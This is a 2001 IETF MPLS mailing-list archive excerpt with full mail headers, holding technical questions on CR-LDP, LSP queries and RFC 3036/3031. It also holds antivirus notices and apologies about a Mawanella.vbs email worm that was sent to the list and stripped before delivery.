	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpmm22057
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 04:13:36 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpmm21990
	for <mpls@uu.net>; Fri, 18 May 2001 04:12:52 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpmm25006
	for <mpls@uu.net>; Fri, 18 May 2001 04:12:52 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id AAA29035 for mpls@uu.net; Fri, 18 May 2001 00:12:52 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpmm21839
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 04:11:44 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpmm05301
	for <mpls@UU.NET>; Fri, 18 May 2001 04:10:32 GMT
Received: from tnnt3.tachion.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [198.139.117.130])
	id QQkpmm22607
	for <mpls@UU.NET>; Fri, 18 May 2001 04:10:31 GMT
Received: by TNNT3 with Internet Mail Service (5.5.2653.19)
	id <KR1YLR1S>; Fri, 18 May 2001 00:10:28 -0400
Message-ID: <5E7936641DC2D411B89900D0B7B92FBB14C3D8@TNNT3>
From: ANTIGEN_TNNT3 <ANTIGEN_TNNT3@tachion.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: Restricted filetype found =*.vbs file
Date: Fri, 18 May 2001 00:10:28 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0DF50.78DBC3A0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0DF50.78DBC3A0
Content-Type: text/plain


FILENAME   : Mawanella.vbs
ACTION     : Removed 
MESSAGE    : Mawanella
SENT BY    : sailendra mahanty 
LOCATION   : IMC Queues\Inbound
SERVER     : Tachion Networks/TACHION/TNNT3

------_=_NextPart_001_01C0DF50.78DBC3A0
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Restricted filetype found =*.vbs file</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=2>FILENAME&nbsp;&nbsp; : Mawanella.vbs</FONT>
<BR><FONT SIZE=2>ACTION&nbsp;&nbsp;&nbsp;&nbsp; : Removed </FONT>
<BR><FONT SIZE=2>MESSAGE&nbsp;&nbsp;&nbsp; : Mawanella</FONT>
<BR><FONT SIZE=2>SENT BY&nbsp;&nbsp;&nbsp; : sailendra mahanty </FONT>
<BR><FONT SIZE=2>LOCATION&nbsp;&nbsp; : IMC Queues\Inbound</FONT>
<BR><FONT SIZE=2>SERVER&nbsp;&nbsp;&nbsp;&nbsp; : Tachion Networks/TACHION/TNNT3</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0DF50.78DBC3A0--



From owner-mpls@UU.NET  Fri May 18 00:18:24 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA04855
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 00:18:23 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpmn15127;
	Fri, 18 May 2001 04:17:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkpmn22484
	for mpls-outgoing; Fri, 18 May 2001 04:17:18 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpmn22383
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 04:15:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpmn16375
	for <mpls@uu.net>; Fri, 18 May 2001 04:15:28 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpmn27668
	for <mpls@uu.net>; Fri, 18 May 2001 04:15:28 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id AAA00310 for mpls@uu.net; Fri, 18 May 2001 00:15:27 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpmm21570
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 04:10:30 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpmm04973
	for <mpls@UU.NET>; Fri, 18 May 2001 04:10:24 GMT
Received: from tnnt3.tachion.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [198.139.117.130])
	id QQkpmm22495
	for <mpls@UU.NET>; Fri, 18 May 2001 04:10:24 GMT
Received: by TNNT3 with Internet Mail Service (5.5.2653.19)
	id <KR1YLR1P>; Fri, 18 May 2001 00:10:22 -0400
Message-ID: <5E7936641DC2D411B89900D0B7B92FBB14C3D5@TNNT3>
From: ANTIGEN_TNNT3 <ANTIGEN_TNNT3@tachion.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: Restricted filetype found =*.vbs file
Date: Fri, 18 May 2001 00:10:20 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0DF50.74314E60"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0DF50.74314E60
Content-Type: text/plain


FILENAME   : Mawanella.vbs
ACTION     : Removed 
MESSAGE    : Mawanella
SENT BY    : sailendra mahanty 
LOCATION   : IMC Queues\Inbound
SERVER     : Tachion Networks/TACHION/TNNT3

------_=_NextPart_001_01C0DF50.74314E60
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Restricted filetype found =*.vbs file</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=2>FILENAME&nbsp;&nbsp; : Mawanella.vbs</FONT>
<BR><FONT SIZE=2>ACTION&nbsp;&nbsp;&nbsp;&nbsp; : Removed </FONT>
<BR><FONT SIZE=2>MESSAGE&nbsp;&nbsp;&nbsp; : Mawanella</FONT>
<BR><FONT SIZE=2>SENT BY&nbsp;&nbsp;&nbsp; : sailendra mahanty </FONT>
<BR><FONT SIZE=2>LOCATION&nbsp;&nbsp; : IMC Queues\Inbound</FONT>
<BR><FONT SIZE=2>SERVER&nbsp;&nbsp;&nbsp;&nbsp; : Tachion Networks/TACHION/TNNT3</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0DF50.74314E60--



From owner-mpls@UU.NET  Fri May 18 01:05:20 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA05259
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 01:05:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpmq25159;
	Fri, 18 May 2001 05:04:41 GMT
Received: by mail-control.mail.uu.net 
	id QQkpmq05594
	for mpls-outgoing; Fri, 18 May 2001 05:04:06 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpmq05192
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 05:03:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpmq06403
	for <mpls@uu.net>; Fri, 18 May 2001 05:03:38 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkpmq21258
	for <mpls@uu.net>; Fri, 18 May 2001 05:03:33 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
	id <L1WVTQMK>; Fri, 18 May 2001 10:33:11 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D705C217@BRAHMA01>
From: Mohit Misra <MohitM@netbrahma.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: ER-HOP LSP ID
Date: Fri, 18 May 2001 10:33:09 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

draft-ietf--mpls-cr-ldp-05.txt

Sec. 4.7.4

if an LSPID Hop is the last ER-HOP in an ER-TLV then the LSR may splice the
CR-LSP of the incoming label request to the CR-LSP that currently exists
with this LDPID.

The mechanism for lsp splicing is not very clear in this section. Is it
something like both the LSPs are merged at that point ?. In case they are
merged who do we keep their identities intact ?. We can use LSP ID though,
but for both of them incoming label would be same. Also what happens to the
resource reservations if both the LSPs are spliced together.
						thanx
								/Mohit



Mohit Misra
Netbrahma Technologies
www.netbrahma.com



From owner-mpls@UU.NET  Fri May 18 01:28:59 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA06893
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 01:28:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpmr10754;
	Fri, 18 May 2001 05:28:15 GMT
Received: by mail-control.mail.uu.net 
	id QQkpmr15234
	for mpls-outgoing; Fri, 18 May 2001 05:27:42 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpmr15226
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 05:27:33 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpmr25235
	for <mpls@UU.NET>; Fri, 18 May 2001 05:26:53 GMT
Received: from tomp.smb.utfors.se by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: tomp.smb.utfors.se [195.58.112.6])
	id QQkpmr07951
	for <mpls@UU.NET>; Fri, 18 May 2001 05:26:52 GMT
Received: from utfors.se ([10.58.0.153]) by tomp.smb.utfors.se
          (Netscape Messaging Server 4.15) with ESMTP id GDIN8Q00.BYD;
          Fri, 18 May 2001 07:29:14 +0200 
Message-ID: <3B04B29A.FCF6F0C@utfors.se>
Date: Fri, 18 May 2001 07:26:50 +0200
From: Loa Andersson <loa.andersson@utfors.se>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Eric Gray <eric.gray@sandburst.com>
CC: MPLS Mailing List <mpls@UU.NET>
Subject: Re: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt
References: <200105161102.HAA02659@ietf.org> <3B039418.285034D@utfors.se> <3B03D30A.BF672875@sandburst.com> <3B04419E.3D931E77@utfors.se> <3B044826.5416F0D6@sandburst.com>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
X-MIME-Autoconverted: from 8bit to quoted-printable by cmr1.ash.ops.us.uu.net id QQkpmr10754
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id BAA06893

Eric,


Eric Gray wrote:
> 
> Loa,
> 
>     Because you cannot have perfect knowledge of the state of
> the network.  What you say about the difference in the state of
> the network between times 't' and 't+n' will also be true of the
> difference between times 't+(a(n))' and 't+((a+1)(n))'.  

This seems to strengthen what I said. At any point in time, after
just shortly before the receipt of the query response, there is
an uncertainty in the 

> And
> what constitutes 'good enough' knowledge of the state of the
> network may be difficult to standardize - especially without
> some real deployment experience.

The conservative position would be that you have "good enough"
knowledge from the IGP.

> 
>     I am not particularly for or against this particular draft, but
> I do not know that it makes sense to try to dictate when it
> makes sense to use a query mechanism if we have one.

Sorry, was not trying to dictate "when" the use of the query, 
rather asking if the knowledge you will get from the query would be 
worth the effort. But on the other hand I don't want to dictate
the "non-when" either.

Query along, just be aware of the "unreliable" nature of the response.
I would be extremely cautious to take any critical decision 
based on that "knowledge".

/Loa
> 
> --
> Eric Gray
> 
> You wrote:
> 
> > Eric,
> >
> > I don't know much about horses (or carts) but if I read you correct
> > what I get from the querry is that I know a situation at the point
> > in time when (or shortly before) I receive the querry response! But
> > I can't rely on that info if I want to take some actions at that point
> > in time or later. Why should this be a "nice to have"?
> >
> > /Loa
> >
> > Eric Gray wrote:
> > >
> > > Loa,
> > >
> > >     I think that the whole query mechanism is being suggested because
> > > people want to check from time to time to see where an LSP is going
> > > at some time.  The only conceivable reason for wanting to do this is a
> > > direct result of the dynamism you mention.  Consequently, I think you
> > > are getting the cart before the horse - you send a query to find out if
> > > the LSP has changed and (from time to time) you send others.  Maybe
> > > you do this because you've experienced some 'aftershocks' of route
> > > changes (such as a storm of LSAs), or maybe you do it periodically.
> > >
> > >     You don't need a mechanism to detect when the last query is out of
> > > date - the existence of a query mechanism, all by itself, means you
> > > believe that the information can become stale.  Therefore, having some
> > > means to detect when this is more likely can be seen as a nice to have
> > > - but unnecessary - optimization.
> > >
> > > --
> > > Eric Gray
> >
> > --
> > Loa Andersson
> > Chief Architect,
> > Utfors Research, Architecture and Future Lab (URAX)
> > Utfors AB
> > Råsundavägen 12
> > Box 525, 169 29 Solna
> > Office          +46 8 5270 2000
> > Office direct   +46 8 5270 5038
> > Mobile          +46 70 848 5038
> > Email           loa.andersson@utfors.se
> > WWW             www.utfors.se

-- 
Loa Andersson
Chief Architect,
Utfors Research, Architecture and Future Lab (URAX)
Utfors AB
Råsundavägen 12
Box 525, 169 29 Solna
Office          +46 8 5270 2000
Office direct   +46 8 5270 5038
Mobile          +46 70 848 5038
Email           loa.andersson@utfors.se
WWW             www.utfors.se


From owner-mpls@UU.NET  Fri May 18 02:04:09 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA14274
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 02:04:08 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpmu01906;
	Fri, 18 May 2001 06:02:58 GMT
Received: by mail-control.mail.uu.net 
	id QQkpmu25856
	for mpls-outgoing; Fri, 18 May 2001 06:02:27 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpmu24226
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 06:02:05 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpmu25164
	for <mpls@uu.net>; Fri, 18 May 2001 06:01:10 GMT
Received: from gateway.ipinfusion.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.dmlnet.com [209.11.132.18])
	id QQkpmu23359
	for <mpls@uu.net>; Fri, 18 May 2001 06:01:09 GMT
Received: from ipinfusion.com (IDENT:root@[10.10.0.38])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4I5xZf25900
	for <mpls@uu.net>; Thu, 17 May 2001 22:59:35 -0700
Message-ID: <3B04BC10.B55F0A1F@ipinfusion.com>
Date: Thu, 17 May 2001 23:07:12 -0700
From: Manoj Dutta <manoj@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: change in next hop !!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

I have a few questions based on section A.1.7 RFC 3036.

1) Is is correct to assume that NH.1 - NH.5 also consider the case where
LSR has received and retained multiple label mappings from old next hop
??

3) Also NH.6 to NH.8 take into account the scenario where multiple
requests are pending.

Consider the following scenario :

LSR U1 and LSR U2 are upatream wrt LSR A and LSR D1 and LSR D2 are
downstream of LSR A.



                            LSR U1            LSRU2
                                |                       |
                                  \                   /
                                     \              /
                                       LSR A
                                     /            \
                              LSR  D1    LSR D2

Suppose LSR A is non merge capable and for a given FEC F,  LSR D1 is its
next hop.  D1 has distributed
labels L1 and L2 for FEC F which LSR A maps to lable L3 and L4 given to
LSR U1 and LSR U2 respectively.
Now, LSR D2 becomes the new next hop for LSR A (FEC F).
Cosider statement NH.11 :

a) Suppose, LSR A already has a label mapping  ,say L5, from LSR D2 for
FEC F. A recv mapping event will be generated. Now if LMp.18 of section
A.1.2  is executed, it contradicts Note 8 as we have sent labels, L3 and
L4, to more  than one peer (LU1 and LU2, in this case.) despite being a
non merge LSR. Even if we ignore this,  which of the upstream labels (L3
and L4) should we map to L5 .
Let say that we map L5 to L3 (LSR U1).  There is no way to let LSR U2
know that lable L4 is not mapped
to any downstream label now and if LSR A is using ordered control then
we have an exception here.

b) Now, lets take the case where LSR A does not have any mapping from
new hop LSR D2. Now, it might
send a single label request which again cannot be mapped to the two
upstream labels L3 and L4.

I would really appreciate any help in understanding this scenario.

Thanks in advance,
manoj




From owner-mpls@UU.NET  Fri May 18 02:14:12 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA16642
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 02:14:11 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpmu00939;
	Fri, 18 May 2001 06:13:45 GMT
Received: by mail-control.mail.uu.net 
	id QQkpmu07686
	for mpls-outgoing; Fri, 18 May 2001 06:13:13 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpmu07666
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 06:12:59 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpmu18639
	for <mpls@UU.NET>; Fri, 18 May 2001 06:12:49 GMT
Received: from mx1.cegetel.fr by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fw1.cegetel.fr [195.115.41.100])
	id QQkpmu00225
	for <mpls@UU.NET>; Fri, 18 May 2001 06:12:49 GMT
Received: from verdi.telecom-dev.fr (localhost [127.0.0.1])
	by mx1.cegetel.fr (8.9.3+Sun/tCegetel.fr) with SMTP id IAA03156
	for <mpls@UU.NET>; Fri, 18 May 2001 08:12:59 +0200 (MET DST)
Received: by verdi.telecom-dev.fr(Lotus SMTP MTA v4.62a  (693.3 11-8-1998))  id C1256A50.00221F5C ; Fri, 18 May 2001 08:12:42 +0200
X-Lotus-FromDomain: TD@TDINTERNET
From: "Franck LAMALLE" <flamalle@telecom-dev.fr>
To: mpls@UU.NET
Message-ID: <C1256A50.00221DC5.00@verdi.telecom-dev.fr>
Date: Fri, 18 May 2001 08:12:36 +0200
Subject: Virus warning
Mime-Version: 1.0
Content-type: multipart/mixed; 
	Boundary="0__=IINUfD6BgJesO2gU3hcv2xKUyrZgbLxHRbmwO7bZj6wI3oYZgCCbwY2U"
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk


--0__=IINUfD6BgJesO2gU3hcv2xKUyrZgbLxHRbmwO7bZj6wI3oYZgCCbwY2U
Content-type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable


Virus warning !!
See the mail below.
Regards.
Franck.


Franck Lamalle
Architecture Coordinator
Broadband Unit
Telecom Developpement

---------------------- Envoy=E9 par Franck
LAMALLE/TD/TELECOM-DEVELOPPEMENT/FR le 05/18/2001 08:08 AM
---------------------------


"sailendra mahanty" <sailendram@future.futsoft.com> on 05/18/2001 05:46=
:32
AM

Veuillez r=E9pondre =E0 sailendram@future.futsoft.com

Pour :    mpls@UU.NET
cc :   (ccc : Franck LAMALLE/TD/TELECOM-DEVELOPPEMENT/FR)
Objet :   Mawanella


=

--0__=IINUfD6BgJesO2gU3hcv2xKUyrZgbLxHRbmwO7bZj6wI3oYZgCCbwY2U
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline


------------------  Virus Warning Message (on gesse)

Found virus VBS_VBSWG.Z in file Mawanella.vbs
The uncleanable file is deleted.

---------------------------------------------------------




Mawanella is one of the Sri Lanka's Muslim Village




------------------  Virus Warning Message (on gesse)

Mawanella.vbs is removed from here because it contains a virus.

---------------------------------------------------------



--0__=IINUfD6BgJesO2gU3hcv2xKUyrZgbLxHRbmwO7bZj6wI3oYZgCCbwY2U--



From owner-mpls@UU.NET  Fri May 18 02:36:15 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA17997
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 02:36:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpmw28714;
	Fri, 18 May 2001 06:35:37 GMT
Received: by mail-control.mail.uu.net 
	id QQkpmw09640
	for mpls-outgoing; Fri, 18 May 2001 06:35:05 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpmw09616
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 06:34:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpmw26265
	for <mpls@uu.net>; Fri, 18 May 2001 06:34:36 GMT
Received: from fsnt.future.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQkpmw28286
	for <mpls@uu.net>; Fri, 18 May 2001 06:34:35 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000140461@fsnt.future.futsoft.com> for <mpls@uu.net>;
 Fri, 18 May 2001 10:55:04 +0530
Received: from sailendram (sailendram.future.futsoft.com [10.8.7.27])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with SMTP id f4IDIIl11711
	for <mpls@uu.net>; Fri, 18 May 2001 18:48:18 +0530
Reply-To: <sailendram@future.futsoft.com>
From: "sailendra mahanty" <sailendram@future.futsoft.com>
To: <mpls@UU.NET>
Subject: Pls don't open the previous mail with sub:Mawanella
Date: Fri, 18 May 2001 10:34:39 +0530
Message-Id: <014701c0df58$0ba12480$1b07080a@future.futsoft.com>
MIME-Version: 1.0
X-Priority: 1 (Highest)
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: High
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi all,

The earlier mail contains a VB script, which sends mail to all the address
in the address book. Since mpls@uu.net is there in my address book, the
virus sent to it also.

Please don't open the mail. Sorry for the inconvenience caused.

Rgds,
-sailendra



From owner-mpls@UU.NET  Fri May 18 03:42:19 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA20439
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 03:42:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpna26269;
	Fri, 18 May 2001 07:41:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkpna09554
	for mpls-outgoing; Fri, 18 May 2001 07:40:56 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpna09549
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 07:40:51 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpna11997
	for <mpls@uu.net>; Fri, 18 May 2001 07:40:32 GMT
Received: from smtp.163.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.108.44.212])
	id QQkpna16660
	for <mpls@uu.net>; Fri, 18 May 2001 07:40:29 GMT
Received: from sean (unknown [61.129.21.5])
	by smtp.163.com (Postfix) with SMTP
	id DC8161C353418; Fri, 18 May 2001 15:37:31 +0800 (CST)
Date: Fri, 18 May 2001 15:35:56 +0800
From: "Hailong Lu.sean" <sealong@163.com>
To: "mpls@uu.net" <mpls@UU.NET>, "mpls@uu.net" <mpls@UU.NET>
Subject: rfc 3031.section3.2.again
X-mailer: FoxMail 3.11 Release [cn]
Mime-Version: 1.0
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 7bit
Message-Id: <20010518073731.DC8161C353418@smtp.163.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,all
   Sorry about this subject again.
   From the section3.2 of rfc3031:
		"To say that one node is upstream and one is downstream with respect
	   to a given binding means only that a particular label represents a
	   particular FEC in packets travelling from the upstream node to the	
	   downstream node.  This is NOT meant to imply that packets in that FEC
	   would actually be routed from the upstream node to the downstream	
	   node"
   I can understand the first part of this section:the upstream and downstream
concepts are just meaningful when respect the binding of label and FEC.But I
can't make sure why the "routed" problem is refered particularly in the second
part of it.From my idea,in MPLS domain,after having been labeled by the ingress 
MPLS node,the packets are label switched.I mean there is no routing problem.
   thanks.



sean





From owner-mpls@UU.NET  Fri May 18 04:11:20 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA20570
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 04:11:20 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpnc28857;
	Fri, 18 May 2001 08:08:08 GMT
Received: by mail-control.mail.uu.net 
	id QQkpnc00052
	for mpls-outgoing; Fri, 18 May 2001 08:07:36 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpnc00043
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 08:07:28 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpnc24864
	for <mpls@uu.net>; Fri, 18 May 2001 08:07:13 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkpnc09184
	for <mpls@uu.net>; Fri, 18 May 2001 08:07:10 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
